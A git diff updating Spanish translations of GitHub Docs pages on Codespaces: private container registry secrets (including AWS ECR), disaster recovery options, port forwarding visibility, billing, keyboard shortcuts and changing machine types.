index b65234f96f..42db7d0120 100644
--- a/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
+++ b/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
@@ -1,72 +1,72 @@
 ---
-title: Allowing your codespace to access a private image registry
-intro: 'You can use secrets to allow {% data variables.product.prodname_codespaces %} to access a private image registry'
+title: Permitir que tu codespace acceda a una imagen de registro privada
+intro: 'Puedes utilizar secretos para permitir que los {% data variables.product.prodname_codespaces %} accedan a un registro de imagen privada'
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Codespaces
 product: '{% data reusables.gated-features.codespaces %}'
-shortTitle: Private image registry
+shortTitle: Registro de imagen privado
 ---
 
-## About private image registries and {% data variables.product.prodname_codespaces %}
+## Acerca de los registros de imagen y {% data variables.product.prodname_codespaces %} privados
 
-A registry is a secure space for storing, managing, and fetching private container images. You may use one to store one or more devcontainers. There are many examples of registries, such as {% data variables.product.prodname_dotcom %} Container Registry, Azure Container Registry, or DockerHub.
+Un registro es un espacio seguro para almacenar, administrar y recuperar imágenes de contenedor privadas. Puedes utilizar uno de ellos para almacenar uno o más devcontainers. Hay muchos ejemplos de registros, tales como el Registro de Contenedores de {% data variables.product.prodname_dotcom %}, Registro de Contenedores de Azure o DockerHub.
 
-{% data variables.product.prodname_dotcom %} Container Registry can be configured to pull container images seamlessly, without having to provide any authentication credentials to {% data variables.product.prodname_codespaces %}. For other image registries, you must create secrets in {% data variables.product.prodname_dotcom %} to store the access details, which will allow {% data variables.product.prodname_codespaces %} to access images stored in that registry.
+El Registro de Contenedores de {% data variables.product.prodname_dotcom %} puede configurarse para extraer imágenes de contenedor sin problemas, sin tener que proporcionar credenciales de autenticación a {% data variables.product.prodname_codespaces %}. Para otros registros de imágenes, debes crear secretos en {% data variables.product.prodname_dotcom %} para almacenar los detalles de acceso, los cuales permitirán que los {% data variables.product.prodname_codespaces %} accedan a las imágenes almacenadas en dicho registro.
 
-## Accessing images stored in {% data variables.product.prodname_dotcom %} Container Registry
+## Acceder a las imágenes almacenadas en el Registro de Contenedores de {% data variables.product.prodname_dotcom %}
 
-{% data variables.product.prodname_dotcom %} Container Registry is the easiest way for {% data variables.product.prodname_github_codespaces %} to consume devcontainer container images.
+El Registro de Contenedores de {% data variables.product.prodname_dotcom %} es la manera más fácil de que {% data variables.product.prodname_github_codespaces %} consuma imágenes de contenedor de devcontainer.
 
-For more information, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)".
+Para obtener más información, consulta la sección "[Trabajar con el registro de contenedores](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)".
 
-### Accessing an image published to the same repository as the codespace
+### Acceder a una imagen publicada en el mismo repositorio que el codespace
 
-If you publish a container image to {% data variables.product.prodname_dotcom %} Container Registry in the same repository that the codespace is being launched in, you will automatically be able to fetch that image on codespace creation. You won't have to provide any additional credentials, unless the **Inherit access from repo** option was unselected when the container image was published.
+Si publicas una imagen de contenedor en el Registro de Contenedores de {% data variables.product.prodname_dotcom %} en el mismo repositorio que el codespace en el cuál se lanzará, automáticamente podrás recuperar esta imagen cuando crees el codespace. No tendrás que proporcionar credenciales adicionales, a menos de que la opción **heredar acceso del repositorio** se haya deseleccionado cuando se publique la imagen de contenedor.
 
-#### Inheriting access from the repository from which an image was published
+#### Heredar el acceso del repositorio desde el cual se publicó la imagen
 
-By default, when you publish a container image to {% data variables.product.prodname_dotcom %} Container Registry, the image inherits the access setting of the repository from which the image was published. For example, if the repository is public, the image is also public. If the repository is private, the image is also private, but is accessible from the repository.
+Predeterminadamente, cuando publicas una imagen de contenedor en el Registro de Contenedores de {% data variables.product.prodname_dotcom %}, esta hereda la configuración de acceso del repositorio desde el cual se publicó. Por ejemplo, si el repositorio es público, la imagen también es pública. Si el repositorio es privado, la imagen también es privada, pero es accesible desde el repositorio.
 
-This behavior is controlled by the **Inherit access from repo** option. **Inherit access from repo** is selected by default when publishing via {% data variables.product.prodname_actions %}, but not when publishing directly to {% data variables.product.prodname_dotcom %} Container Registry using a Personal Access Token (PAT).
+Este comportamiento se controla mediante la opción **heredar acceso desde el repositorio**. La opción **heredar acceso desde el repositorio** se encuentra seleccionada predeterminadamente cuando publicas a través de {% data variables.product.prodname_actions %}, pero no cuando se publica directamente al Registro de Contenedores de {% data variables.product.prodname_dotcom %} utilizando un token de acceso personal (PAT).
 
-If the **Inherit access from repo** option was not selected when the image was published, you can manually add the repository to the published container image's access controls. For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)."
+Si la opción de **heredar acceso desde el repositorio** no se seleccionó cuando se publicó la imagen, puedes agregar el repositorio manualmente a los controles de acceso de la imagen del contenedor publicado. Para obtener más información, consulta la sección "[Configurar el control de accesos y la visibilidad de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)".
 
-### Accessing an image published to the organization a codespace will be launched in
+### Acceder a una imagen publicada en la organización en la cual se lanzará un codespace
 
-If you want a container image to be accessible to all codespaces in an organization, we recommend that you publish the container image with internal visibility. This will automatically make the image visible to all codespaces within the organization, unless the repository the codespace is launched from is public.
+Si quieres que todos los codespaces en una organización puedan acceder a una imagen de contenedor, te recomendamos que la publiques con visibilidad interna. Esto hará que la imagen sea automáticamente visible para todos los codespaces dentro de la organización, a menos de que el repositorio desde el cual se lanzó el codespace sea público.
 
-If the codespace is being launched from a public repository referencing an internal or private image, you must manually allow the public repository access to the internal container image. This prevents the internal image from being accidentally leaked publicly. For more information, see "[Ensuring Codespaces access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)."
+Si el codespace se está lanzando desde un repositorio público que referencia una imagen privada o interna, debes permitir manualmente que el repositorio público acceda a la imagen de contenedor interna. Esto previene que la imagen interna se filtre accidentalmente al público. Para obtener más información, consulta la sección "[Garantizar el acceso de los codespaces a tu paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)".
 
-### Accessing a private container from a subset of repositories in an organization
+### Acceder a un contenedor privado desde un subconjunto de repositorios en una organización
 
-If you want to allow a subset of an organization's repositories to access a container image, or allow an internal or private image to be accessed from a codespace launched in a public repository, you can manually add repositories to a container <span class="x x-first x-last">image's</span> access settings. For more information, see "[Ensuring Codespaces access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)<span class="x x-first x-last">.</span>"
+Si quieres permitir que un subconjunto de repositorios de una organización accedan a una imagen de contenedor o permitan el acceso a una imagen privada o interna desde un codespace que se lanzó en un repositorio público, puedes agregar repositorios manualmente a los ajustes de acceso de la <span class="x x-first x-last">imagen</span> del contenedor. Para obtener más información, consulta la sección "[Garantizar el acceso a los codespaces para tu paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)<span class="x x-first x-last">.</span>"
 
-### Publishing a container image from a codespace
+### Publicar una imagen de contenedor desde un codespace
 
-Seamless access from a codespace to {% data variables.product.prodname_dotcom %} Container Registry is limited to pulling container images. If you want to publish a container image from inside a codespace, you must use a personal access token (PAT) with the `write:packages` scope.
+El acceso fácil desde un codespace hasta el Registrod de Contenedores de {% data variables.product.prodname_dotcom %} se limita a las imágenes de contenedor que se extraen. Si quieres publicar una imagen de contenedor desde dentro de un codespace, debes utilizar un token de acceso personal (PAT) con el alcance `write:packages`.
 
-We recommend publishing images via {% data variables.product.prodname_actions %}. For more information, see "[Publishing Docker images](/actions/publishing-packages/publishing-docker-images)."
+Te recomendamos publicar imágenes a través de {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[Publicar imágenes de Docker](/actions/publishing-packages/publishing-docker-images)".
 
-## Accessing images stored in other container registries
+## Acceder a las imágenes almacenadas en otros registros de contenedor
 
-If you are accessing a container image from a registry that isn't {% data variables.product.prodname_dotcom %} Container Registry, {% data variables.product.prodname_codespaces %} checks for the presence of three secrets, which define the server name, username, and personal access token (PAT) for a container registry. If these secrets are found, {% data variables.product.prodname_codespaces %} will make the registry available inside your codespace.
+Si estás accediendo a una imagen de contenedor desde un registro diferente al Registro de Contenedores de {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_codespaces %} verifica la presencia de tres secretos, los cuales definen el nombre del servidor, nombre de usuario y token de acceso personal (PAT) de un registro de contenedores. Si se encuentran estos secretos, {% data variables.product.prodname_codespaces %} hará que el registro esté disponible dentro de tu codespace.
 
 - `<*>_CONTAINER_REGISTRY_SERVER`
 - `<*>_CONTAINER_REGISTRY_USER`
 - `<*>_CONTAINER_REGISTRY_PASSWORD`
 
-You can store secrets at the user, repository, or organization-level, allowing you to share them securely between different codespaces. When you create a set of secrets for a private image registry, you need to replace the "<*>" in the name with a consistent identifier. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" and "[Managing encrypted secrets for your repository and organization for Codespaces](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)."
+Puedes almacenar los secretos a nivel de repositorio, organización o usuario, lo cual te permite compartirlos de forma segura entre diferentes codespaces. Cuando creas un conjunto de secretos para un registro de imagen privado, necesitas reemplazar el "<*>” del nombre con un identificador consistente. Para obtener más información, consulta las secciones "[Administrar los secretos cifrados para tus codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" y "[Administrar los secretos cifrados de tu repositorio y organización para los Codespaces](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)".
 
-If you are setting the secrets at the user or organization level, make sure to assign those secrets to the repository you'll be creating the codespace in by choosing an access policy from the dropdown list.  
+Si estás configurando secretos a nivel de organización o de usuario, asegúrate de asignarlos al repositorio en el que crearás el codespace eligiendo una política de acceso desde la lista desplegable.
 
-![Image registry secret example](/assets/images/help/codespaces/secret-repository-access.png)
+![Ejemplo de secreto de registro de imagen](/assets/images/help/codespaces/secret-repository-access.png)
 
-### Example secrets
+### Secretos de ejemplo
 
-For a private image registry in Azure, you could create the following secrets:
+Para los registros de imagen privados en Azure, podrías crear los siguientes secretos:
 
 ```
 ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io
@@ -74,22 +74,48 @@ ACR_CONTAINER_REGISTRY_USER = acr-user-here
 ACR_CONTAINER_REGISTRY_PASSWORD = <PAT>
 ```
 
-For information on common image registries, see "[Common image registry servers](#common-image-registry-servers)."
+Para obtener más información sobre los registros de imagen comunes, consulta la sección "[Servidores de registro de imagen comunes](#common-image-registry-servers)". Toma en cuenta que el acceso a AWS Elastic Container Registry (ECR) será diferente.
 
-![Image registry secret example](/assets/images/help/settings/codespaces-image-registry-secret-example.png)
+![Ejemplo de secreto de registro de imagen](/assets/images/help/settings/codespaces-image-registry-secret-example.png)
 
-Once you've added the secrets, you may need to stop and then start the codespace you are in for the new environment variables to be passed into the container. For more information, see "[Suspending or stopping a codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)."
+Una vez que hayas agregado los secretos, podría ser que necesites parar y luego iniciar el codespace en el que estás para que las variables de ambiente nuevas pasen en el contenedor. Para obtener más información, consulta la sección "[Suspender o detener un codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)".
 
-### Common image registry servers
+#### Acceder a AWS Elastic Container Registry
 
-Some of the common image registry servers are listed below:
+Para acceder a AWS Elastic Container Registry (ECR), puedes proporcionar una ID de llave de acceso de AWS y una llave secreta y {% data variables.product.prodname_dotcom %} podrá recuperar un token de acceso para ti e iniciar sesión en tu nombre.
+
+```
+*_CONTAINER_REGISTRY_SERVER = <ECR_URL>
+*_CONTAINER_REGISTRY_USER = <AWS_ACCESS_KEY_ID>
+*_container_REGISTRY_PASSWORD = <AWS_SECRET_KEY>
+```
+
+Debes de asegurarte de que tengas los permisos adecuados de AWS IAM para realizar el cambio de credenciales (por ejemplo: `sts:GetServiceBearerToken`), así como la operación de lectura de ECR (ya sea `AmazonEC2ContainerRegistryFullAccess` o `ReadOnlyAccess`).
+
+Como alternativa, si no quieres que GitHub realice el cambio de credenciales en tu nombre, puedes proporcionar un token de autorización que se haya recuperado a través de las API de AWS o del CLI.
+
+```
+*_CONTAINER_REGISTRY_SERVER = <ECR_URL>
+*_CONTAINER_REGISTRY_USER = AWS
+*_container_REGISTRY_PASSWORD = <TOKEN>
+```
+
+Ya que estos tokens tienen una vida corta y necesitan actualizarse constantemente, te recomendamos proporcionar una ID de llave de acceso y secreto.
+
+Si bien estos secretos pueden llevar cualquier nombre, siempre y cuando el `*_CONTAINER_REGISTRY_SERVER` sea una URL de ECR, te recomendamos utilizar `ECR_CONTAINER_REGISTRY_*` a menos de que se trate de registros múltiples de ECR.
+
+Para obtener más información, consulta la "[Documentación de autenticación de registros privados](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html)" de AWS ECR.
+
+### Servidores de registro de imagen comunes
+
+Algunos de los servidores de registro de imagen comunes se listan a continuación:
 
 - [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/`
-- [GitHub Container Registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io`
-- [Azure Container Registry](https://docs.microsoft.com/azure/container-registry/) - `<registry name>.azurecr.io`
+- [Registro de Contenedores de GitHub](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io`
+- [Registro de Contenedores de Azure](https://docs.microsoft.com/azure/container-registry/) - `<registry name>.azurecr.io`
 - [AWS Elastic Container Registry](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `<aws_account_id>.dkr.ecr.<region>.amazonaws.com`
-- [Google Cloud Container Registry](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US), `eu.gcr.io` (EU), `asia.gcr.io` (Asia)
+- [Registro de Contenedores de Google Cloud](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US), `eu.gcr.io` (EU), `asia.gcr.io` (Asia)
 
-#### Accessing AWS Elastic Container Registry
+## Depurar el acceso al registro de imágenes privadas
 
-If you want to access AWS Elastic Container Registry (ECR), you must provide an AWS authorization token in the `ECR_CONTAINER_REGISTRY_PASSWORD`. This authorization token is not the same as your secret key. You can obtain an AWS authorization token by using AWS's APIs or CLI. These tokens are short lived and will need to be refreshed periodically. For more information, see AWS ECR's "[Private registry authentication documentation](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html)."
+Si tienes problemas para extraer una imagen de un registro de imágenes privado, asegúrate de que puedas ejecutar `docker login -u <user> -p <password> <server>`, utilizando los valores de los secretos que se definen a continuación. Si el inicio de sesión falla, asegúrate de que las credenciales de inicio de sesión sean válidas y de que tienes los permisos adecuados en el servidor para recuperar una imagen de contenedor. Si el inicio de sesión es exitoso, asegúrate de que estos valores se copien adecuadamente en los secretos de {% data variables.product.prodname_codespaces %} correctos, ya sea a nivel de usuario, repositorio u organización, e intenta de nuevo.
diff --git a/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md b/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
index 71bac5b61d..970f2f23f9 100644
--- a/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
+++ b/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
@@ -1,51 +1,51 @@
 ---
-title: Disaster recovery for Codespaces
-intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.'
+title: Recuperación de desastres para los codespaces
+intro: 'Este artículo describe la guía para una situación de recuperación de desastres, cuando toda una región experimenta una interrupción debido a un desastre natural mayor o una interrupción de servicios extendida.'
 versions:
   fpt: '*'
   ghec: '*'
 product: '{% data reusables.gated-features.codespaces %}'
 topics:
   - Codespaces
-shortTitle: Disaster recovery
+shortTitle: Recuperación de desastres
 ---
 
-We work hard to make sure that {% data variables.product.prodname_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions.
+Nos esforzamos para asegurarnos de que {% data variables.product.prodname_codespaces %} siempre esté disponible. Sin embargo, por causas de fuerza mayor que salen de nuestro control, algunas veces se impacta el servicio en formas qeu pueden causar interrupciones de servicio no planeadas.
 
-Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable.
+Aunque los casos de recuperación de desastres son ocurrencias extraordinarias, te recomendamos que te prepares para la posibilidad de que exista una interrupción en una región entera. Si una región completa experimenta una interrupción de servicio, las copias locales redundantes de tus datos se encontrarán temporalmente no disponibles.
 
-The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed.
+La siguiente orientación proporciona opciones sobre cómo manejar la interrupción del servicio para toda la región en donde se desplegó tu codespace.
 
 {% note %}
 
-**Note:** You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently.
+**Nota:** Puedes reducir el impacto potencial de las interrupciones a lo largo del servicio si haces subidas frecuentes a los repositorios remotos.
 
 {% endnote %}
 
-## Option 1: Create a new codespace in another region
+## Opción 1: Crea un codespace nuevo en otra región
 
-In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)."
+En caso de que haya una interrupción regional, te sugerimos volver a crear tu codespace en una región no afectada para seguir trabajando. Este codespace nuevo tendrá todos los cambios desde tu última subida en {% data variables.product.prodname_dotcom %}. Para obtener más información sobre cómo configurar otra región manualmente, consulta la sección "[Configurar tu región predeterminada para los Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)".
 
-You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+Puedes optimizar el tiempo de recuperación si configuras un `devcontainer.json` en el repositorio de un proyecto, el cual te permita definir las herramientas, tiempos de ejecución, configuración del editor, extensiones y otros tipos de configuración necesarios para restablecer el ambiente de desarrollo automáticamente. Para obtener más información, consulta la sección "[Introducción a los contenedores dev](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
-## Option 2: Wait for recovery
+## Opción 2: esperar para la recuperación
 
-In this case, no action on your part is required. Know that we are working diligently to restore service availability. 
+En este caso, no se requiere que tomes acción alguna. Debes saber que estamos trabajando diligentemente para restaurar la disponibilidad del servicio.
 
-You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/).
+Puedes verificar el estado de servicio actual en el [Tablero de estado](https://www.githubstatus.com/).
 
-## Option 3: Clone the repository locally or edit in the browser
+## Opción 3: Clona el repositorio localmente o edítalo en el buscador
 
-While {% data variables.product.prodname_codespaces %} provides the benefit of a pre-configured developer environmnent, your source code should always be accessible through the repository hosted on {% data variables.product.prodname_dotcom_the_website %}. In the event of a {% data variables.product.prodname_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
+Mientras que los {% data variables.product.prodname_codespaces %} proporcinan el beneficio de un ambiente de desarrollador pre-configurado, siempre debe poderse acceder a tu código mediante el repositorio que se hospeda en {% data variables.product.prodname_dotcom_the_website %}. En caso de que haya una interrupción de un {% data variables.product.prodname_codespaces %}, aún podrás clonar el repositorio localmente o los archivos de edición en el editor del buscador de {% data variables.product.company_short %}. Para obtener más información, consulta la sección "[Editar archivos](/repositories/working-with-files/managing-files/editing-files)".
 
-While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve.
+Si bien esta opción no te configura un ambiente de desarrollo, te permitirá hacer cambios a tu código fuente conforme los necesites mientras esperas a que se resuelva la interrupción del servicio.
 
-## Option 4: Use Remote-Containers and Docker for a local containerized environment
+## Opción 4: Utiliza los contenedores remotos y Docker para crear un ambiente contenido local
 
-If your repository has a `devcontainer.json`, consider using the [Remote-Containers extension](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) in Visual Studio Code to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup.
+Si tu repositorio tiene un `devcontainer.json`, considera utilizar la [extensión de contenedores remotos](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) en Visual Studio Code para crear y adjuntarlo a un contenedor de desarrollo logal para tu repositorio. El tiempo de configuración para esta opción variará dependiendo de tus especificaciones locales y de la complejidad de tu configuración de contenedor dev.
 
 {% note %}
 
-**Note:** Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option.
+**Nota:** Asegúrate de que tu configuración local cumple con los [requisitos mínimos](https://code.visualstudio.com/docs/remote/containers#_system-requirements) antes de intentar utilizar esta opción.
 
 {% endnote %}
diff --git a/translations/es-ES/content/codespaces/codespaces-reference/security-in-codespaces.md b/translations/es-ES/content/codespaces/codespaces-reference/security-in-codespaces.md
index 7f41a25ffd..3c7da2322e 100644
--- a/translations/es-ES/content/codespaces/codespaces-reference/security-in-codespaces.md
+++ b/translations/es-ES/content/codespaces/codespaces-reference/security-in-codespaces.md
@@ -58,7 +58,7 @@ Si necesitas conectarte a un servicio (tal como un servidor web de desarrollo) q
 
 **Puertos reenviados de forma privada**: Son accesibles mediante el internet, pero solo el creador del codespace puede acceder a ellos después de autenticarse en {% data variables.product.product_name %}.
 
-**Publicly forwarded ports within your organization**: Are accessible on the internet, but only to members of the same organization as the codespace, after authenticating to {% data variables.product.product_name %}.
+**Puertos reenviados públicamente dentro de tu organización**: Se puede acceder a ellos a través de la internet, pero solo pueden hacerlo los miembros de la misma organización, como el codespace, después de autenticarse en {% data variables.product.product_name %}.
 
 **Puertos reenviados de forma pública**: Se puede acceder a ellos desde internet y todos pueden acceder a ellos. No se necesita autenticación para acceder a los puertos públicos reenviados.
 
diff --git a/translations/es-ES/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md b/translations/es-ES/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
index f483285636..177efadd6e 100644
--- a/translations/es-ES/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
+++ b/translations/es-ES/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
@@ -54,3 +54,7 @@ Tu codespace se borrará automáticamente cuando lo elimines de un repositorio u
 ## Borrar tus codespaces sin utilizar
 
 Puedes borrar tus codespaces manualmente en https://github.com/codespaces y desde dentro de {% data variables.product.prodname_vscode %}. Para reducir el tamaño de un codespace, puedes borrar los archivos manualmente utilizando la terminal o desde dentro de {% data variables.product.prodname_vscode %}.
+
+## Leer más
+
+- "[Managing billing for Codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
diff --git a/translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md b/translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
index 6abed701ec..e1f6a8a76c 100644
--- a/translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
+++ b/translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
@@ -23,10 +23,10 @@ La paleta de comandos es una de las características focales de {% data variable
 
 You can access the {% data variables.product.prodname_vscode_command_palette %} in a number of ways.
 
-- `Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows).
+- <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
 
   Nota que este comando es un atajo de teclado reservado en Firefox.
-- `F1`
+- <kbd>F1</kbd>
 - Desde el menú de la aplicación, haz clic en **Visualizar > la paleta de comandos...**.
 
   ![El menú de la aplicación](/assets/images/help/codespaces/codespaces-view-menu.png)
diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
index 34ad12301c..8e7381b36c 100644
--- a/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
+++ b/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
@@ -1,7 +1,7 @@
 ---
-title: Changing the machine type for your codespace
+title: Cambiar el tipo de máquina de tu codespace
 shortTitle: Change the machine type
-intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for work you''re doing.'
+intro: Puedes cambiar el tipo de máquina que está ejecutando tu codespace para que estés utilizando recursos adecuados para el trabajo que estás haciendo.
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -12,52 +12,55 @@ topics:
   - Codespaces
 ---
 
-## About machine types
+## Acerca de los tipos de máquina
 
 {% note %}
 
-**Note:** You can only select or change the machine type if you are a member of an organization using {% data variables.product.prodname_codespaces %} and are creating a codespace on a repository owned by that organization.
+**Nota:** Solo puedes seleccionar o cambiar el tipo de máquina si eres miembro de una organización que está utilizando {% data variables.product.prodname_codespaces %} y estás creando un codespace en un repositorio que pertenece a dicha organización.
 
 {% endnote %}
 
 {% data reusables.codespaces.codespaces-machine-types %}
 
-You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace. 
+Puedes elegir un tipo de máquina, ya sea cuando creas un codespace o puedes cambiar el tipo de máquina en cualquier momento después de que lo hayas creado.
 
-For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." 
-For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
+Para obtener más información sobre cómo elegir un tio de máquina cuando creas un codespace, consulta la sección "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". Para obtener más información sobre cómo cambiar el tipo de máquina dentro de {% data variables.product.prodname_vscode %}, consulta la sección "[Utilizar los {% data variables.product.prodname_codespaces %} en {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)".
 
-## Changing the machine type in {% data variables.product.prodname_dotcom %}
+## Cambiar el tipo de máquina en {% data variables.product.prodname_dotcom %}
 
 {% data reusables.codespaces.your-codespaces-procedure-step %}
 
-   The current machine type for each of your codespaces is displayed.
+   Se mostrará el tipo de máquina actual para cada uno de tus codespaces.
 
-   !['Your codespaces' list](/assets/images/help/codespaces/your-codespaces-list.png)
+   ![Lista de 'Tus codespaces'](/assets/images/help/codespaces/your-codespaces-list.png)
 
-1. Click the ellipsis (**...**) to the right of the codespace you want to modify.
-1. Click **Change machine type**.
+1. Haz clic en los puntos suspensivos (**...**) a la derecha del codespace que quieras modificar.
+1. Haz clic en **Cambiar tipo de máquina**.
 
-   !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png)
+   ![Opción de menú 'Cambiar tipo de máquina'](/assets/images/help/codespaces/change-machine-type-menu-option.png)
 
-1. Choose the required machine type.
+1. If multiple machine types are available for your codespace, choose the type of machine you want to use.
 
-2. Click **Update codespace**. 
+   ![Dialog box showing available machine types to choose](/assets/images/help/codespaces/change-machine-type-choice.png)
 
-   The change will take effect the next time your codespace restarts.
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
-## Force an immediate update of a currently running codespace
+2. Haz clic en **Actualizar codespace**.
 
-If you change the machine type of a codespace you are currently using, and you want to apply the changes immediately, you can force the codespace to restart.
+   El cambio surtirá efecto la siguiente vez que reinicies tu codespace.
 
-1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**. 
+## Forzar una actualización inmediata de un codespace que se está ejecutando actualmente
 
-   ![Click '{% data variables.product.prodname_codespaces %}'](/assets/images/help/codespaces/codespaces-button.png)
+Si cambias el tipo de máquina de un codespace que estés utilizando actualmente y quieres aplicar los cambios de inmediato, puedes forzar el codespace para que se reinicie.
 
-1. From the options that are displayed at the top of the page select **Codespaces: Stop Current Codespace**.
+1. En la parte inferior izquierda de tu ventana de codespace, haz clic en **{% data variables.product.prodname_codespaces %}**.
 
-   !['Suspend Current Codespace' option](/assets/images/help/codespaces/suspend-current-codespace.png)
+   ![Hacer clic en '{% data variables.product.prodname_codespaces %}'](/assets/images/help/codespaces/codespaces-button.png)
 
-1. After the codespace is stopped, click **Restart codespace**.
+1. Desde las opciones que se muestran en la parte superior de la página, selecciona **Codespaces: Detener el Codespace actual**.
 
-   ![Click 'Resume'](/assets/images/help/codespaces/resume-codespace.png)
+   ![Opción 'Suspender codespace actual'](/assets/images/help/codespaces/suspend-current-codespace.png)
+
+1. Después de que se detenga el codespace, haz clic en **Restablecer codespace**.
+
+   ![Hacer clic en 'Reanudar'](/assets/images/help/codespaces/resume-codespace.png)
diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/index.md b/translations/es-ES/content/codespaces/customizing-your-codespace/index.md
index b2649f276e..fae69bb923 100644
